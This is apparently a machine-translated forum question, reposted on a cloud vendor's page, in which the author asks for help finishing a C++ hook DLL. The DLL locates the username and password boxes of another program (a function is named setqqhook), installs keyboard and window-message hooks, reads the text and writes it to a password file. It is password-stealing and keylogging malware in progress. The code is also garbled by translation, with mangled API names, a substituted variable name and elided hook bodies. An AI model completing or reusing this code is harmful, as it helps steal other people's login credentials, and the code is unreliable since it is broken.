How to obtain the edit box text in other process windows in DLL

Source: Internet
Author: User
This problem should be very easy, but I won't, and no one will tell me, depressing. Who gave me some advice. C ++ is poor at learning and cannot laugh at it.
I want to get the content of a text box of another process, so I wrote the processing code into a DLL compiled in C ++, found the qualified edit box handle, and sent the wm_gettext message to it, from the help document, you must obtain the content information from the defwindowproc function. The problem is:
How can I use this function in a C ++ file to obtain text content? Or whether other methods should be used to complete this function.
Some code is as follows:

# Define mydll_api _ declspec (dllexport)
# Include "mydll. H"
# Include "winuser. H"
# Include "windows. H"
# Include <string. h>
# Include <stdio. h>
# Include <stdlib. h>
Hwnd g_hnum = NULL;
Hwnd g_hpwd = NULL;
Hhook g_hproc = NULL;
Hhook g_hkey = NULL;
Hinstance g_hinstdll = NULL;

Void GetPassword ()
{
MessageBox (null, "enters the password acquisition stage! "," Depressing ", 0 );
Char num [255];
Char PWD [255];
Char total [255];
Handle h;
DWORD dw;
Memset (Num, 0,255 );
Memset (PWD, 0,255 );
Memset (total, 0,255 );
// The problem is how to connect the message? Where did defwindowproc write? Depressed.
Sendmessage (g_hnum, wm_gettext, 255, (lparam) num );
Strcat (total, "User name :");
// No text is available !! How?
// Strcat (total, num );
MessageBox (null, total, "depressed", 0 );
Sendmessage (g_hpwd, wm_gettext, 255, (lparam) PWD );
Strcat (total, "Password :");
// No text is available !! How?
// Strcat (total, PWD );
MessageBox (null, total, "depressed", 0 );
H = createfile ("C: // password.txt ",
Generic_write,
File_pai_write,
Null,
Open_always,
File_attribute_normal,
Null );
Writefile (H, & total, sizeof (total), & DW, null );
Closehandle (h );
}

Lresult callback keyboardproc (
Int code,
Wparam,
Lparam
)
{
.......
.......
.......
Return callnexthookex (g_hkey, code, wparam, lparam );
}

Lresult callback CALLWNDPROC (
Int ncode,
Wparam,
Lparam
)
{
Cwpstruct * P = (cwpstruct *) lparam;
.......
.......
.......
Return callnexthookex (g_hproc, ncode, wparam, lparam );
}

Bool winapi setqqhook (hwnd)
{
Bool Bret = false;
// G_procpre = setwindowlong (hwnd, gwl_wndproc, (long) mainwndproc );
Char lpclsname [255];
Memset (thinklsname, 0,255 );
Int CNT = 0;
Hwnd hsubwnd = NULL;
Hwnd hnextwnd = NULL;
Hwnd htemp = NULL;
If (hwnd! = NULL)
{
DWORD dwthreadid = getwindowthreadprocessid (hwnd, null );
// MessageBox (null, makeintresource (dwthreadid), "depressing", 0 );
// Htemp = hwnd;
Htemp = getwindow (hwnd, gw_child );
Do
{
Hsubwnd = getwindow (htemp, gw_hwndnext );
Int A = getclassname (hsubwnd, lpclsname, 255 );
// MessageBox (null, lpclsname, "depressing", 0 );
If (A = 0)
{
MessageBox (null, "a complete failure. The subwindow cannot be found! "," Depressing ", 0 );
Return false;
}
CNT ++;
If (CNT> 20)
{
MessageBox (null, "it seems that the method is incorrect, so I have to give up! "," Depressing ", 0 );
Break;
}
Htemp = hsubwnd;
} While (0! = Stricmp (maid, "edit "));

If (0 = stricmp (lpclsname, "edit "))
{
G_hnum = hsubwnd;
}
If (g_hnum = NULL)
{
MessageBox (null, "failed. The username window cannot be found! "," Depressing ", 0 );
Return false;
}
CNT = 0;
Do {
Hnextwnd = getnextwindow (hsubwnd, gw_hwndnext );
Int A = getclassname (hsubwnd, lpclsname, 255 );
// MessageBox (null, lpclsname, "depressing", 0 );
If (A = 0)
{
MessageBox (null, "failed, the code window cannot be found! "," Depressing ", 0 );
Return false;
}
CNT ++;
If (CNT> 20)
Break;
Hsubwnd = hnextwnd;
} While (0! = Stricmp (maid, "edit "));

If (0 = stricmp (lpclsname, "edit "))
{
// Long lstyle = getwindowlong (hnextwnd, gwl_style );
// If (lstyle & es_password)
//{
G_hpwd = hnextwnd;
//}
}
If (g_hpwd = NULL)
{
MessageBox (null, "failed. The password window cannot be found! "," Depressing ", 0 );
Return false;
}
// G_hproc = setwindowshookex (wh_callwndproc, CALLWNDPROC, g_hinstdll, dwthreadid );
// G_hkey = setwindowshookex (wh_keyboard, keyboardproc, g_hinstdll, dwthreadid );
G_hproc = setwindowshookex (wh_callwndproc, CALLWNDPROC, getmodulehandle ("mydll"), dwthreadid );
G_hkey = setwindowshookex (wh_keyboard, keyboardproc, getmodulehandle ("mydll"), dwthreadid );
// MessageBox (null, "displayed after hook creation", "depressed", 0 );
Bret = (g_hproc! = NULL) & (g_hkey! = NULL );
}
Else
{
Bret = unhookwindowshookex (g_hproc) & unhookwindowshookex (g_hkey );
G_hproc = NULL;
G_hkey = NULL;
G_hnum = NULL;
G_hpwd = NULL;
}
Return Bret;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.